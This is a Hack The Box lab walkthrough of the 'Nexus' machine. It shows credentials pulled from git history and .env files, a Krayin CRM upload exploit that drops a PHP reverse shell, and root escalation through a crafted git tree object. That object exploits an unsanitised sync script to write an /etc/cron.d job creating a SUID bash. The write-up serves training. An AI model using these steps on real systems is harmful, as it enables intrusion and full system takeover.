Sitemap
InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Hack The Box - Nexus Walkthrough

--

Press enter or click to view image in full size

A forgotten subdomain was only the beginning. What followed was a chain of small items hidden across the environment. From there, I didn’t need too much to fully compromise it.

● Initial Enumeration

I started from the received IP address and launched a scan to discover the open ports and running services.

rustscan -a 10.129.56.106 -- -A

Two open ports were found, 22 and 80, where ssh and http were running. I added an entry in /etc/hosts to associate nexus.htb with the IP I had.

PORT   STATE SERVICE REASON  VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The next step was to visit the website. I browsed the page, but nothing interesting was found. I couldn’t see any links or similar items. However, under the career section, I discovered an email, j.matthew@nexus.htb .

Press enter or click to view image in full size
Email found under career section

I continued to enumerate the website using gobuster, but I didn’t spot any other pages.

┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $gobuster dir -u http://nexus.htb -x php,txt -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://nexus.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 49296]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================

Since this didn’t lead to anything, I triggered a scan for subdomains, using ffuf. Here I was luckier, because I identified 2 of them: billing and git . I adjusted the /etc/hosts entry to include these 2 new findings.

┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt -fs 154

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://nexus.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
:: Header : Host: FUZZ.nexus.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________

billing [Status: 302, Size: 390, Words: 60, Lines: 12, Duration: 2512ms]
git [Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 81ms]
:: Progress: [2171687/2171687] :: Job [1/1] :: 655 req/sec :: Duration: [0:50:12] :: Errors: 0 ::

● Obtaining the first set of credentials

When I accessed the git subdomain, I encountered a repository named krayin-docker-setup. Over there, in the .env file, among other variables, I observed the following:

APP_NAME='Krayin CRM'
APP_URL=http://billing.nexus.htb

I inspected the billing page and reached an admin login page.

Press enter or click to view image in full size
Krayin admin login page

But, apart from the initial email address I found on the main website, I didn’t have anything else. Because Krayin CRM was used, I searched for possible vulnerabilities and exploits for it. And I came upon something useful on exploit-db.

Press enter or click to view image in full size
CVE-2026–38526

Nevertheless, it still required authentication, so I had to dig more. I went back to the git subdomain. I noticed that, for the krayin-docker-setup repository, there were 2 commits. So I verified the initial one and found a password in the .env file.

Press enter or click to view image in full size
Password in .env config

Back to the billing page, I managed to log in using j.matthew@nexus.htb email and the password I just found. I got access to the portal, and the first thing I did after was to look for what version of Krayin was used. Under the profile icon, I saw it was 2.2.0, so I figured out I could use the exploit I previously found.

Press enter or click to view image in full size
Krayin platform accessed

● Getting access as www-data

I downloaded the Python script from the vulnerability page on exploit-db. After analyzing it, I identified 4 required parameters: username, password, target URL, and file to upload. I edited the PHP reverse shell accordingly and successfully executed the exploit.

┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $python krayin_exploit.py --target http://billing.nexus.htb --user j.matthew@nexus.htb --password '<REDACTED_PASSWORD>' --file shell.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/0e716d4f82a51632938e551e34452da7.php

I started a netcat listener, then accessed the provided URL. Right after this, I obtained a reverse shell as www-data.

┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.56.106 40508
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
16:05:28 up 1:19, 0 user, load average: 0.00, 0.03, 0.26
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/
$

● Obtaining the user flag

The first thing I examined was what other users were available on this machine. I detected jones in /etc/passwd.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_laurel:x:999:988::/var/log/laurel:/bin/false
jones:x:1000:1000:,,,:/home/jones:/bin/bash
mysql:x:110:111:MySQL Server,,,:/nonexistent:/bin/false
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

Since I wasn’t able to reach the home directory of jones, I had to find a way to pivot. Being connected as www-data, I browsed the content inside /var/www . After a while, I got to another .env file, located in /var/www/krayin.

Press enter or click to view image in full size
Config .env file

This file contained multiple variables, and one of them was another password.

Press enter or click to view image in full size
Config password

I attempted to connect to the machine via ssh, using user jones and the previously discovered password. It worked. The flag was in its home directory.

Press enter or click to view image in full size
User flag

● Obtaining the root flag

Get rootshellace’s stories in your inbox

Join Medium for free to get updates from this writer.

Immediately after reading the user flag, I looked for possible privileges. But I didn’t encounter anything useful.

jones@nexus:~$ sudo -l
[sudo] password for jones:
Sorry, user jones may not run sudo on nexus.
jones@nexus:~$ grep jones /etc/group
users:x:100:jones
jones:x:1000:
jones@nexus:~$ find / -type f -group users 2>/dev/null
jones@nexus:~$

After browsing a bit through the filesystem, I noticed something interesting in /etc/gitea.

jones@nexus:/etc$ cd gitea
jones@nexus:/etc/gitea$ ls -l
total 16
-rw-r----- 1 git git 1586 May 12 18:37 app.ini
-rw-r----- 1 git git 89 May 11 16:50 template-sync.conf
-rw-r--r-- 1 git git 4184 May 11 18:47 template-sync.py

This looked like a script used to synchronize something. So, my next move was to look for potential running services. And it paid off, because I found very useful information.

jones@nexus:/etc/gitea$ cd /etc/systemd/system
jones@nexus:/etc/systemd/system$ ls -l *gitea*
-rw-r--r-- 1 root root 177 May 11 16:59 gitea-template-sync.service
-rw-r--r-- 1 root root 168 May 11 16:58 gitea-template-sync.timer
-rw-r--r-- 1 root root 674 Apr 23 11:37 gitea.service

jones@nexus:/etc/systemd/system$ cat gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

jones@nexus:/etc/systemd/system$ cat gitea-template-sync.timer
[Unit]
Description=Run Gitea template sync every minute

[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service

[Install]
WantedBy=timers.target

jones@nexus:/etc/systemd/system$ cat gitea.service
[Unit]
Description=Gitea
After=network.target

[Service]
# Uncomment the next line if you have repos with lots of files and get a HTTP 500 error because of that
# LimitNOFILE=524288:524288
RestartSec=2s
Type=simple
User=git
Group=git
WorkingDirectory=/var/lib/gitea/
# If using Unix socket: tells systemd to create the /run/gitea folder, which will contain the gitea.sock file
# (manually creating /run/gitea doesn't work, because it would not persist across reboots)
#RuntimeDirectory=gitea
ExecStart=/usr/local/bin/gitea web --config /etc/gitea/app.ini
Restart=always
Environment=USER=git HOME=/home/git GITEA_WORK_DIR=/var/lib/gitea

[Install]
WantedBy=multi-user.target

I found a timer set to trigger a synchronizing service every minute. And this service was running the Python script I just found under root privileges. Unfortunately, I didn’t have enough permissions to edit the file. But I was able to read it.

jones@nexus:/tmp/hacktest$ cat /etc/gitea/template-sync.py 
import os
import sys
import json
import subprocess
import time
import urllib.request

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def log(msg):
ts = time.strftime("%Y-%m-%d %H:%M:%S")
line = "[%s] %s" % (ts, msg)
print(line, flush=True)
try:
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
with open(LOG_FILE, 'a') as f:
f.write(line + '\n')
except:
pass

def load_config():
config = {}
for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
try:
with open(path) as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and '=' in line:
k, v = line.split('=', 1)
config[k.strip()] = v.strip()
except:
pass
return config

def get_token():
cfg = load_config()
return cfg.get('GITEA_API_TOKEN')

def get_template_repos(token):
url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
req = urllib.request.Request(url, headers={
'Authorization': 'token %s' % token
})
try:
with urllib.request.urlopen(req) as resp:
data = json.loads(resp.read())
repos = data.get('data', data) if isinstance(data, dict) else data
return [r for r in repos if r.get('template', False)]
except Exception as e:
log("API error: %s" % e)
return []

def sync_template(repo_info):
owner = repo_info['owner']['login']
name = repo_info['name'].lower()
bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
stage_path = os.path.join(STAGING_DIR, owner, name)

if not os.path.isdir(bare_path):
log(" repo not found: %s" % bare_path)
return

# Read tree entries from the bare repository
try:
GIT = ['git', '-c', 'safe.directory=*']
result = subprocess.run(
GIT + ['ls-tree', '-r', 'HEAD'],
cwd=bare_path,
capture_output=True, text=True, timeout=10
)
if result.returncode != 0:
log(" ls-tree failed: %s" % result.stderr.strip())
return
except Exception as e:
log(" ls-tree error: %s" % e)
return

entries = []
for line in result.stdout.strip().split('\n'):
if not line:
continue
parts = line.split('\t', 1)
if len(parts) != 2:
continue
meta, filepath = parts
mode, objtype, objhash = meta.split()
if objtype == 'blob':
entries.append((mode, objhash, filepath))

if not entries:
log(" no files in template")
return

# Extract files to staging directory
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)

try:
os.makedirs(target_dir, exist_ok=True)
GIT = ['git', '-c', 'safe.directory=*']
cat_result = subprocess.run(
GIT + ['cat-file', 'blob', objhash],
cwd=bare_path,
capture_output=True, timeout=10
)
if cat_result.returncode != 0:
continue

with open(target, 'wb') as f:
f.write(cat_result.stdout)

if mode == '100755':
os.chmod(target, 0o755)
else:
os.chmod(target, 0o644)

log(" synced: %s" % filepath)
except Exception as e:
log(" error syncing %s: %s" % (filepath, e))

def main():
log("Template sync starting")

token = get_token()
if not token:
log("No API token found")
sys.exit(1)

templates = get_template_repos(token)
log("Found %d template repo(s)" % len(templates))

for repo in templates:
name = repo['full_name']
log("Syncing template: %s" % name)
sync_template(repo)

log("Template sync complete")

if __name__ == '__main__':
main()
jones@nexus:/tmp/hacktest$

Basically, this script took the template repositories from the platform and synchronized them on the machine, under /home/git/template-staging location, based on owner and repository name.

I composed and accessed the URL mentioned in get_template_repos, to see how the result would look.

jones@nexus:/etc/gitea$ curl http://localhost:3000/api/v1/repos/search?limit=50 | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2282 0 2282 0 0 192k 0 --:--:-- --:--:-- --:--:-- 202k
{
"ok": true,
"data": [
{
"id": 1,
"owner": {
"id": 1,
"login": "admin",
"login_name": "",
"source_id": 0,
"full_name": "",
"email": "admin@nexus.htb",
"avatar_url": "http://localhost:3000/avatars/b17d58524b633e08762e81cb2727e6ee",
"html_url": "http://localhost:3000/admin",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2026-04-23T11:44:27Z",
"restricted": false,
"active": false,
"prohibit_login": false,
[...]
"username": "admin"
},
"name": "krayin-docker-setup",
"full_name": "admin/krayin-docker-setup",
"description": "",
[...]
"template": false,
"mirror": false,
"size": 30,
"language": "",
"languages_url": "http://git.nexus.htb/api/v1/repos/admin/krayin-docker-setup/languages",
"html_url": "http://localhost:3000/admin/krayin-docker-setup",
"url": "http://git.nexus.htb/api/v1/repos/admin/krayin-docker-setup",
"link": "",
"ssh_url": "git@git.nexus.htb:admin/krayin-docker-setup.git",
"clone_url": "http://localhost:3000/admin/krayin-docker-setup.git",
"original_url": "",
[...]
"topics": [],
"licenses": []
}
]
}

The script had a flow, though. It wasn’t sanitizing an input for location and, later, was writing a file in that path.

# Extract files to staging directory
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath) # <-- It doesn't verify the path
target_dir = os.path.dirname(target)

[...]

with open(target, 'wb') as f:
f.write(cat_result.stdout) # <-- Here it writes the file

For a better understanding, I will show you a couple of examples on how os.path.join behaves with different input.

>>> import os

# This is the expected behavior
>>> os.path.join('/home/git/template-staging/admin/testrepo', 'testdir1/testfile1.txt')
'/home/git/template-staging/admin/testrepo/testdir1/testfile1.txt'

# This is a path traversal exploit, because ../ is interpreted later as the upper directory
>>> os.path.join('/home/git/template-staging/admin/testrepo', '../../../../../testdir1/testfile1.txt')
'/home/git/template-staging/admin/testrepo/../../../../../testdir1/testfile1.txt'

# If the file (2nd parameter) starts with /, the full path actually becomes the file
>>> os.path.join('/home/git/template-staging/admin/testrepo', '/testdir1/testfile1.txt')
'/testdir1/testfile1.txt'

The problem was that git didn’t allow creating in repositories directories containing ../ . Also, the same approach was valid for files beginning with / character. And this thing was a massive blocker.

However, after some research, I found out this could be exploited if you manage to write directly into the objects. Honestly, since I didn’t know too much about git, this topic proved to be a challenge, because it took me enough time to actually understand the idea.

But, to try to make it easier to understand, in a way, this is like altering the metadata of the repository.

The point was to add a specific path where I wanted to have a specific file written with root privileges. My first idea was to create a copy of /etc/passwd, add a line with a new user and a sha512 password hash, as well as UID=0 and GID=0, so that I could use it like a clone of root. I managed to get the file overwritten, but I couldn’t login though.

The next idea was to create a file associated with a cron job, which would copy /bin/bash executable in a location where I could access it, then grant SUID permission, so I could run it with the privileges of the owner. This file had to be written inside /etc/cron.d directory.

I created a new repository named hacktest and set it as a template, so that it would be synchronized by the script.

Press enter or click to view image in full size
Repo name
Press enter or click to view image in full size
Repo template setting
# Create a script to be executed by a cron job
# which copies /bin/bash executable to /tmp and
# grants SUID permission so that anyone can execute it
# with the privileges of the owner

jones@nexus:/tmp$ touch copy_shell.sh
jones@nexus:/tmp$ vi copy_shell.sh
jones@nexus:/tmp$ chmod a+x copy_shell.sh
jones@nexus:/tmp$ cat copy_shell.sh
#!/bin/bash

/usr/bin/cp /bin/bash /tmp/rootshellace_shell
/usr/bin/chmod 4755 /tmp/rootshellace_shell
jones@nexus:/tmp$
# Create the cronjob file payload

jones@nexus:/tmp$ touch rootshellace_cronjob
jones@nexus:/tmp$ vi rootshellace_cronjob
jones@nexus:/tmp$ cat rootshellace_cronjob
* * * * * root /tmp/copy_shell.sh # <-- This would execute the script as root every minute
jones@nexus:/tmp$
# Full steps to exploit

# Clone the new repository and reinitialise it
jones@nexus:/tmp$ git clone http://localhost:3000/jones/hacktest.git
Cloning into 'hacktest'...
warning: You appear to have cloned an empty repository.
jones@nexus:/tmp$ cd hacktest/
jones@nexus:/tmp/hacktest$ git init
Reinitialized existing Git repository in /tmp/hacktest/.git/
jones@nexus:/tmp/hacktest$ git status
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)

# Copy the cron job configuration file we want to place in /etc/cron.d
jones@nexus:/tmp/hacktest$ cp ../rootshellace_cronjob .

# Create an object of blob type in the repository,
# which is the actual file we must write on the server
jones@nexus:/tmp/hacktest$ cat ../rootshellace_cronjob | git hash-object -w --stdin
1bc29040ab65bf372f939d2cb224f0103e9efe4c

# Checking the file type and content of it
jones@nexus:/tmp/hacktest$ git cat-file -t 1bc29040ab65bf372f939d2cb224f0103e9efe4c
blob
jones@nexus:/tmp/hacktest$ git cat-file -p 1bc29040ab65bf372f939d2cb224f0103e9efe4c
* * * * * root /tmp/copy_shell.sh

# Here is where we actually alter the tree and
# manage to write the location we want
# The PAYLOAD_HASH is the actual hash git creates
# as representation of the content of the rootshellace_cronjob
# file, but transformed in binary, because that's the way
# it is required

# To understand a bit the difference, check the below output:
# jones@nexus:/tmp/hacktest$ echo -n 1bc29040ab65bf372f939d2cb224f0103e9efe4c | wc -c
# 40
# jones@nexus:/tmp/hacktest$ echo -n 1bc29040ab65bf372f939d2cb224f0103e9efe4c | xxd -r -p | wc -c
# 20

# "100644 /etc/cron.d/rootshellace_cronjob\0${PAYLOAD_HASH}"
# is the format in which git tree stores the info (you can document on this,
# it took me some time to understand how this actually works):
# "<permissions> <path>\0<binary_representation_of_git_hash_for_file>"

jones@nexus:/tmp/hacktest$ PAYLOAD_HASH=$(echo -n 1bc29040ab65bf372f939d2cb224f0103e9efe4c | xxd -r -p)
jones@nexus:/tmp/hacktest$ echo -ne "100644 /etc/cron.d/rootshellace_cronjob\0${PAYLOAD_HASH}" | git hash-object -w -t tree --literally --stdin
6161aeea3d7dc313773164995346eed2f65c4e41

# Create a commit tree
jones@nexus:/tmp/hacktest$ git commit-tree 6161aeea3d7dc313773164995346eed2f65c4e41 -m "another hack attempt"
Author identity unknown

*** Please tell me who you are.

Run

git config --global user.email "you@example.com"
git config --global user.name "Your Name"

to set your account default identity.
Omit --global to set the identity only in this repository.

fatal: unable to auto-detect email address (got 'jones@nexus.(none)')
jones@nexus:/tmp/hacktest$ git config user.email "j.matthews@nexus.htb"
jones@nexus:/tmp/hacktest$ git config user.name "jones"
jones@nexus:/tmp/hacktest$ git commit-tree 6161aeea3d7dc313773164995346eed2f65c4e41 -m "another hack attempt"
1be8f7c6936da55f1b0cd4a748a919d5a2e39a92

# Associate refs/heads/main to the previously created commit-tree
jones@nexus:/tmp/hacktest$ git update-ref refs/heads/main 1be8f7c6936da55f1b0cd4a748a919d5a2e39a9

# Check how the final "metadata" would look
# Normally, in the path over here, you couldn't
# have things like ../ characters or a file
# starting with /
# If you create, for instance, dir1 directory in the main repo
# and file1.txt under it, the path over here would be
# dir1/file1.txt

jones@nexus:/tmp/hacktest$ git ls-tree -r HEAD
100644 blob 1bc29040ab65bf372f939d2cb224f0103e9efe4c /etc/cron.d/rootshellace_cronjob
jones@nexus:/tmp/hacktest$ git status
On branch main
Your branch is based on 'origin/main', but the upstream is gone.
(use "git branch --unset-upstream" to fixup)

Changes to be committed:
(use "git restore --staged <file>..." to unstage)
deleted: /etc/cron.d/rootshellace_cronjob

Untracked files:
(use "git add <file>..." to include in what will be committed)
rootshellace_cronjob

# Add the cronjob file and push the commit
jones@nexus:/tmp/hacktest$ git add .
jones@nexus:/tmp/hacktest$ git push origin main
Username for 'http://localhost:3000': jones
Password for 'http://jones@localhost:3000':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 264 bytes | 264.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/jones/hacktest.git
* [new branch] main -> main
jones@nexus:/tmp/hacktest$

I monitored /var/log/template-sync.log to see if the synchronization was completed successfully; I got the confirmation it was OK.

jones@nexus:~$ cd /var/log/
jones@nexus:/var/log$ tail -f template-sync.log

...
[2026-09-04 14:29:49] Found 1 template repo(s)
[2026-09-04 14:29:49] Syncing template: jones/hacktest
[2026-09-04 14:29:49] ls-tree failed: fatal: Not a valid object name HEAD
[2026-09-04 14:29:49] Template sync complete
[2026-09-04 14:30:49] Template sync starting
[2026-09-04 14:30:49] Found 1 template repo(s)
[2026-09-04 14:30:49] Syncing template: jones/hacktest
[2026-09-04 14:30:49] synced: /etc/cron.d/rootshellace_cronjob
[2026-09-04 14:30:49] Template sync complete

I also monitored the list of files present in /tmp , and, after 1 minute, the shell was copied there.

Every 2.0s: ls -l                                                                                       nexus: Fri Sep  4 14:31:33 2026

total 1464
-rwxrwxr-x 1 jones jones 103 Sep 4 13:55 copy_shell.sh
drwxrwxr-x 3 jones jones 4096 Sep 4 14:25 hacktest
-rw-rw-r-- 1 jones jones 34 Sep 4 14:00 rootshellace_cronjob
-rwsr-xr-x 1 root root 1446024 Sep 4 14:31 rootshellace_shell # SUID bash
drwx------ 2 root root 4096 Sep 4 08:39 snap-private-tmp
...
drwx------ 2 root root 4096 Sep 4 08:40 vmware-root_773-4256676260

I used this one to get root access.

Press enter or click to view image in full size
Root access

From this point, I just had to go to /root/root.txt to obtain the system flag.

# Got the root flag

jones@nexus:/tmp$ ./rootshellace_shell -p
rootshellace_shell-5.2# whoami
root
rootshellace_shell-5.2# pwd
/tmp
rootshellace_shell-5.2# cd /root
rootshellace_shell-5.2# ls -l
total 4
-rw-r----- 1 root root 33 Sep 4 08:40 root.txt
rootshellace_shell-5.2# cat root.txt
<REDACTED>
rootshellace_shell-5.2#

If you got here, I want to thank you for the time you took to read my article. I hope you enjoyed it and also learned something from it. Why not take a look at some of my other articles?

--

--